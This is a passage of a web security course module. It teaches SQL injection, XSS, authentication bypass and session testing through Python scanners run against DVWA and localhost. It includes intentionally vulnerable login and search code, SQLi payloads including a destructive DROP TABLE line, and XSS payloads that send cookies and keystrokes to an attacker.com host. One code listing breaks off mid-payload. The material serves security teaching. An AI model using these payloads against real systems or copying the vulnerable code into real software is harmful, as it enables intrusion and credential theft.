Week Overview
This week builds on HTTP fundamentals to create offensive security tools for web application testing. You'll learn to:
- Understand OWASP Top 10 vulnerabilities at code level
- Build SQL injection detection and exploitation tools
- Create XSS payload generators and fuzzers
- Automate authentication bypass testing
- Analyze session tokens for security flaws
Section 1: OWASP Top 10 Overview
The OWASP Top 10 (2021 Edition)
The Open Web Application Security Project (OWASP) maintains a list of the most critical web security risks. Understanding these is essential for both finding and preventing vulnerabilities.
| Rank | Vulnerability | Impact | This Week |
|---|---|---|---|
| A01 | Broken Access Control | Unauthorized data access/modification | Lab 4 |
| A02 | Cryptographic Failures | Sensitive data exposure | Lab 4 |
| A03 | Injection | SQL/NoSQL/OS command execution | Lab 1 |
| A04 | Insecure Design | Missing security controls | — |
| A05 | Security Misconfiguration | Default configs, verbose errors | Lab 1 |
| A06 | Vulnerable Components | Outdated libraries with CVEs | — |
| A07 | Authentication Failures | Credential stuffing, session hijacking | Lab 3 |
| A08 | Software/Data Integrity | Insecure CI/CD, deserialization | — |
| A09 | Logging Failures | Insufficient monitoring | Week 8 |
| A10 | SSRF | Server-Side Request Forgery | — |
This Week's Focus: Injection (SQLi), XSS, Authentication, and Access Control—the highest-impact vulnerabilities.
Legacy OWASP Top 10: XSS (Cross-Site Scripting)
While XSS was merged into Injection (A03) in 2021, it remains critical. We'll cover it separately due to its prevalence.
- Reflected XSS: Payload in URL, reflected in response (phishing attacks)
- Stored XSS: Payload stored in database, affects all users (highest impact)
- DOM-based XSS: Client-side JavaScript vulnerability
Section 2: SQL Injection Mechanics
Understanding SQL Injection
SQL injection occurs when user input is improperly concatenated into SQL queries, allowing attackers to manipulate database logic.
Vulnerable Code Example
#!/usr/bin/env python3
"""
VULNERABLE CODE - DO NOT USE IN PRODUCTION
Demonstrates SQL injection vulnerability for educational purposes
"""
import sqlite3
def vulnerable_login(username: str, password: str) -> bool:
"""
Vulnerable login function using string concatenation.
WARNING: This code is intentionally vulnerable to demonstrate SQLi.
"""
conn = sqlite3.connect('users.db')
cursor = conn.cursor()
# VULNERABLE: User input directly concatenated into SQL query
query = f"SELECT * FROM users WHERE username='{username}' AND password='{password}'"
print(f"[DEBUG] Query: {query}")
cursor.execute(query)
result = cursor.fetchone()
conn.close()
return result is not None
# Attack demonstration
print("=== Normal Login ===")
vulnerable_login("admin", "password123") # Normal usage
print("\n=== SQL Injection Attack ===")
# Attacker inputs: username = "admin'--", password = "anything"
# Resulting query: SELECT * FROM users WHERE username='admin'--' AND password='anything'
# The -- comments out the password check, bypassing authentication!
vulnerable_login("admin'--", "anything")
print("\n=== Union-Based SQLi ===")
# Union attack to extract data from other tables
payload = "' UNION SELECT username, password FROM admins--"
vulnerable_login(payload, "")
SQL Injection Types
1. Error-Based SQL Injection
Triggers database errors to leak information:
-- Payload: admin' AND 1=CONVERT(int, (SELECT @@version))--
-- Error reveals database version in error message
2. Union-Based SQL Injection
Uses UNION to combine attacker's query with original:
-- Payload: ' UNION SELECT username, password FROM users--
-- Returns all usernames and passwords from users table
3. Blind SQL Injection
No direct output, but behavior changes based on true/false conditions:
-- Boolean-based blind SQLi
-- Payload: ' AND (SELECT LENGTH(password) FROM users WHERE username='admin')=10--
-- If page behaves normally, password is 10 characters
-- Time-based blind SQLi
-- Payload: ' AND IF(1=1, SLEEP(5), 0)--
-- If page delays 5 seconds, injection successful
Building a SQL Injection Scanner
#!/usr/bin/env python3
"""
Basic SQL injection scanner for educational purposes
Tests common SQLi payloads against web forms
"""
import requests
from typing import List, Dict
import time
class SQLiScanner:
"""
SQL injection vulnerability scanner.
"""
def __init__(self, target_url: str):
"""
Initialize scanner with target URL.
Args:
target_url: URL of vulnerable endpoint
"""
self.target_url = target_url
self.session = requests.Session()
# Common SQL injection payloads
self.payloads = [
"'", # Basic single quote
"' OR '1'='1", # Classic bypass
"' OR '1'='1'--", # With comment
"' OR '1'='1'/*", # MySQL comment
"admin'--", # Username bypass
"' UNION SELECT NULL--", # Union test
"' AND 1=1--", # Boolean true
"' AND 1=2--", # Boolean false
"' OR SLEEP(5)--", # Time-based (MySQL)
"'; DROP TABLE users--", # Destructive (NEVER use on real systems)
]
def test_parameter(self, param_name: str, method: str = 'GET') -> List[Dict]:
"""
Test a parameter for SQL injection.
Args:
param_name: Parameter name to test
method: HTTP method (GET or POST)
Returns:
List of vulnerabilities found
"""
vulnerabilities = []
print(f"\n[*] Testing parameter: {param_name}")
print(f"[*] Method: {method}")
print(f"[*] Testing {len(self.payloads)} payloads...\n")
for payload in self.payloads:
if method.upper() == 'GET':
params = {param_name: payload}
try:
start_time = time.time()
response = self.session.get(
self.target_url,
params=params,
timeout=10
)
elapsed_time = time.time() - start_time
# Check for SQL injection indicators
vuln = self._analyze_response(response, payload, elapsed_time)
if vuln:
vulnerabilities.append(vuln)
print(f"[!] VULNERABLE: {payload}")
print(f" Type: {vuln['type']}")
print(f" Evidence: {vuln['evidence'][:100]}")
except requests.exceptions.Timeout:
print(f"[?] Timeout with payload: {payload}")
except Exception as e:
print(f"[!] Error with payload '{payload}': {e}")
# Rate limiting
time.sleep(0.5)
return vulnerabilities
def _analyze_response(self, response: requests.Response, payload: str, elapsed_time: float) -> Dict | None:
"""
Analyze response for SQL injection indicators.
Returns:
Vulnerability dict if found, None otherwise
"""
# Error-based detection
error_signatures = [
'SQL syntax',
'mysql_fetch',
'mysqli',
'SQLException',
'ORA-',
'Microsoft SQL',
'ODBC',
'PostgreSQL',
'sqlite3.OperationalError',
'Unclosed quotation mark',
]
for signature in error_signatures:
if signature.lower() in response.text.lower():
return {
'type': 'Error-based SQLi',
'payload': payload,
'evidence': f"Error signature found: {signature}",
'response_code': response.status_code
}
# Time-based detection
if 'SLEEP' in payload.upper() or 'WAITFOR' in payload.upper():
if elapsed_time > 4: # Expected delay
return {
'type': 'Time-based Blind SQLi',
'payload': payload,
'evidence': f"Response delayed {elapsed_time:.2f}s",
'response_code': response.status_code
}
# Boolean-based detection (requires baseline comparison)
# This is simplified - real implementation would compare with baseline
return None
def generate_report(self, vulnerabilities: List[Dict]) -> None:
"""
Generate vulnerability report.
"""
print(f"\n{'='*60}")
print(f"SQL INJECTION SCAN REPORT")
print(f"{'='*60}")
print(f"Target: {self.target_url}")
print(f"Vulnerabilities Found: {len(vulnerabilities)}\n")
if vulnerabilities:
for i, vuln in enumerate(vulnerabilities, 1):
print(f"[{i}] {vuln['type']}")
print(f" Payload: {vuln['payload']}")
print(f" Evidence: {vuln['evidence']}")
print(f" Status Code: {vuln['response_code']}\n")
else:
print("[✓] No SQL injection vulnerabilities detected")
print(f"{'='*60}\n")
# Usage example (ONLY on authorized targets)
if __name__ == '__main__':
# Example: Test DVWA or local vulnerable app
scanner = SQLiScanner('http://localhost/dvwa/vulnerabilities/sqli/')
# Test the 'id' parameter
vulnerabilities = scanner.test_parameter('id', method='GET')
# Generate report
scanner.generate_report(vulnerabilities)
Defense: Parameterized Queries
The ONLY effective defense against SQL injection:
#!/usr/bin/env python3
"""
SECURE CODE - Parameterized queries prevent SQL injection
"""
import sqlite3
def secure_login(username: str, password: str) -> bool:
"""
Secure login using parameterized queries.
User input is NEVER concatenated into SQL - it's passed as parameters.
"""
conn = sqlite3.connect('users.db')
cursor = conn.cursor()
# SECURE: Use ? placeholders and pass values as tuple
query = "SELECT * FROM users WHERE username=? AND password=?"
cursor.execute(query, (username, password))
result = cursor.fetchone()
conn.close()
return result is not None
# SQLi payloads are now treated as literal strings, not SQL code
print(secure_login("admin'--", "anything")) # Returns False (no bypass)
print(secure_login("admin", "correct_password")) # Returns True if valid
Section 3: Cross-Site Scripting (XSS)
XSS Attack Mechanics
XSS allows attackers to inject malicious JavaScript into web pages viewed by other users.
Reflected XSS Example
#!/usr/bin/env python3
"""
Vulnerable Flask application demonstrating reflected XSS
"""
from flask import Flask, request
app = Flask(__name__)
@app.route('/search')
def vulnerable_search():
"""
VULNERABLE: User input reflected without sanitization.
"""
query = request.args.get('q', '')
# VULNERABLE: Direct HTML output of user input
return f"""
<html>
<body>
<h1>Search Results</h1>
<p>You searched for: {query}</p>
</body>
</html>
"""
# Attack URL:
# http://localhost:5000/search?q=<script>alert('XSS')</script>
# Result: JavaScript executes in victim's browser
XSS Payload Examples
// Basic alert (proof-of-concept)
<script>alert('XSS')</script>
// Cookie theft (send to attacker's server)
<script>
fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>
// Keylogger
<script>
document.onkeypress = function(e) {
fetch('https://attacker.com/log?key=' + e.key);
}
</script>
// Defacement
<script>document.body.innerHTML = '<h1>Hacked!</h1>';</script>
// Redirection to phishing page
<script>window.location='https://attacker.com/phish';</script>
// Event handler-based (bypasses some filters)
<img src=x onerror="alert('XSS')">
<body onload="alert('XSS')">
<svg onload="alert('XSS')">
XSS Scanner Implementation
#!/usr/bin/env python3
"""
XSS vulnerability scanner with payload fuzzing
"""
import requests
from bs4 import BeautifulSoup
from typing import List, Dict
import urllib.parse
class XSSScanner:
"""
Cross-Site Scripting vulnerability scanner.
"""
def __init__(self, target_url: str):
"""
Initialize XSS scanner.
Args:
target_url: Target URL to test
"""
self.target_url = target_url
self.session = requests.Session()
# XSS test payloads (ordered by sophistication)
self.payloads = [
# Basic payloads
"",
"
",
"
Part 3: Authentication Bypass Tester (35 minutes)
Objective: Build a tool to test for common authentication bypass vulnerabilities.
Requirements:
- Create
auth_bypass.pythat:- Tests SQLi-based authentication bypass (e.g.,
admin'--) - Tests for default credentials from common wordlist
- Checks if authentication can be bypassed via URL manipulation
- Tests for session fixation vulnerabilities
- Checks if failed login attempts are rate-limited
- Tests for username enumeration via response differences
- Tests SQLi-based authentication bypass (e.g.,
- Include top 100 default username/password combinations
- Implement intelligent rate limiting to avoid lockouts
Success Criteria:
- Bypasses DVWA login using SQLi payload
- Detects weak default credentials
- Identifies username enumeration vulnerability
- Reports whether rate limiting is implemented
Hint: Username Enumeration Detection
def test_username_enumeration(login_url: str, usernames: list) -> dict:
"""
Test if application leaks valid usernames via different responses.
Args:
login_url: Login endpoint
usernames: List of potential usernames
Returns:
Dict mapping usernames to response characteristics
"""
results = {}
# Use consistent invalid password
test_password = "ThisPasswordDoesNotExist123!@#"
print("[*] Testing username enumeration...")
for username in usernames:
data = {
'username': username,
'password': test_password
}
response = requests.post(login_url, data=data, timeout=5)
# Capture response characteristics
characteristics = {
'status_code': response.status_code,
'response_length': len(response.content),
'response_time': response.elapsed.total_seconds(),
'error_message': extract_error_message(response.text)
}
results[username] = characteristics
time.sleep(0.5) # Rate limiting
# Analyze results for differences
analyze_enumeration(results)
return results
def analyze_enumeration(results: dict) -> None:
"""
Analyze if responses differ for valid vs invalid usernames.
"""
# Group by response characteristics
response_groups = {}
for username, chars in results.items():
key = (chars['status_code'], chars['response_length'])
if key not in response_groups:
response_groups[key] = []
response_groups[key].append(username)
# If usernames group into different response types, enumeration possible
if len(response_groups) > 1:
print("[!] USERNAME ENUMERATION POSSIBLE!")
print(f" Found {len(response_groups)} distinct response patterns")
for pattern, usernames in response_groups.items():
print(f" Pattern {pattern}: {usernames}")
else:
print("[✓] No username enumeration detected")
def extract_error_message(html: str) -> str:
"""
Extract error message from login response.
"""
# Common error message patterns
patterns = [
'Invalid username',
'User not found',
'Incorrect password',
'Authentication failed',
'Login failed'
]
html_lower = html.lower()
for pattern in patterns:
if pattern.lower() in html_lower:
return pattern
return "Generic error"
# Usage
test_usernames = ['admin', 'root', 'user', 'test', 'administrator', 'nonexistent123']
results = test_username_enumeration('http://localhost/login', test_usernames)
Part 4: Cookie and Session Security Analyzer (30 minutes)
Objective: Analyze cookies and session management for security weaknesses.
Requirements:
- Create
cookie_analyzer.pythat:- Collects all cookies from target site
- Checks for missing security flags (
HttpOnly,Secure,SameSite) - Analyzes session token randomness (entropy, predictability)
- Tests for session fixation vulnerabilities
- Checks if sessions expire properly after logout
- Generates detailed security report with CVSS scoring
- Collect 20+ session tokens to test randomness
- Calculate Shannon entropy of tokens
Success Criteria:
- Identifies all insecure cookie configurations
- Detects weak session token generation
- Tests session fixation attack vector
- Reports risk level for each finding
Hint: Session Fixation Test
def test_session_fixation(login_url: str, credentials: dict) -> bool:
"""
Test if application is vulnerable to session fixation.
Session fixation occurs when session ID doesn't change after login.
Returns:
True if vulnerable to session fixation
"""
session = requests.Session()
# Step 1: Get initial session token (before login)
session.get(login_url)
initial_token = session.cookies.get('PHPSESSID') or \
session.cookies.get('sessionid')
print(f"[*] Initial session token: {initial_token}")
# Step 2: Login with credentials
session.post(login_url, data=credentials)
# Step 3: Get session token after login
authenticated_token = session.cookies.get('PHPSESSID') or \
session.cookies.get('sessionid')
print(f"[*] Post-login session token: {authenticated_token}")
# Step 4: Compare tokens
if initial_token == authenticated_token:
print("[!!! CRITICAL] SESSION FIXATION VULNERABILITY!")
print(" Session token did not change after authentication")
print(" Attacker can fixate victim's session and hijack after login")
return True
else:
print("[✓] Session token regenerated after login (secure)")
return False
def test_session_logout(login_url: str, logout_url: str,
protected_url: str, credentials: dict) -> bool:
"""
Test if session properly invalidates after logout.
Returns:
True if session persists after logout (vulnerability)
"""
session = requests.Session()
# Login
session.post(login_url, data=credentials)
# Verify authenticated
response = session.get(protected_url)
if response.status_code != 200:
print("[!] Could not verify authentication")
return False
print("[*] Authenticated successfully")
# Save session token
token = session.cookies.get('PHPSESSID') or session.cookies.get('sessionid')
print(f"[*] Session token: {token}")
# Logout
session.get(logout_url)
print("[*] Logged out")
# Try accessing protected resource with same token
response = session.get(protected_url)
if response.status_code == 200 and 'dashboard' in response.text.lower():
print("[!!! CRITICAL] Session persists after logout!")
print(" Old session token still grants access")
return True
else:
print("[✓] Session properly invalidated after logout")
return False
# Usage
is_fixation_vulnerable = test_session_fixation(
'http://localhost/login',
{'username': 'admin', 'password': 'password'}
)
is_logout_vulnerable = test_session_logout(
login_url='http://localhost/login',
logout_url='http://localhost/logout',
protected_url='http://localhost/dashboard',
credentials={'username': 'admin', 'password': 'password'}
)
📤 Deliverables:
sqli_scanner.py- SQL injection vulnerability scannerxss_fuzzer.py- XSS payload fuzzer and detectorauth_bypass.py- Authentication bypass testercookie_analyzer.py- Cookie and session security analyzer- Scan reports (JSON/HTML) from each tool against DVWA
- Screenshots demonstrating successful vulnerability detection
Additional Resources
OWASP Resources
Practice Environments
- DVWA - Damn Vulnerable Web Application
- WebGoat - OWASP Training Application
- PortSwigger Academy - Free Web Security Labs
- HackTheBox - Vulnerable Web Apps
Security Tools
- Burp Suite - Web Security Testing Platform
- OWASP ZAP - Automated Web App Scanner
- sqlmap - Automated SQL Injection Tool
- XSStrike - Advanced XSS Detection Suite
Further Reading
- Black Hat Python, 2nd Edition - Chapter 5 (Web Hacking)
- The Web Application Hacker's Handbook - Stuttard & Pinto
- PortSwigger Web Security Learning Path
Key Takeaways
- ✅ OWASP Top 10 represents most critical web security risks
- ✅ SQL injection allows database manipulation via unsanitized input
- ✅ Parameterized queries are the ONLY effective SQLi defense
- ✅ XSS enables JavaScript execution in victim browsers
- ✅ Output encoding prevents XSS by neutralizing HTML/JavaScript
- ✅ Authentication testing requires checking credentials, rate limiting, session management
- ✅ Secure session tokens must be cryptographically random (256+ bits)
- ✅ Cookies need HttpOnly, Secure, and SameSite flags
- ✅ Session fixation occurs when session IDs don't regenerate after login
- ✅ Professional tools (Burp, ZAP, sqlmap) use these same detection techniques
- ⚠️ NEVER test web applications without explicit written authorization
Week 07 Quiz
Test your understanding of web security testing tools in Python.
Format: 10 multiple-choice questions. Passing score: 70%. Time: Untimed.
Take Quiz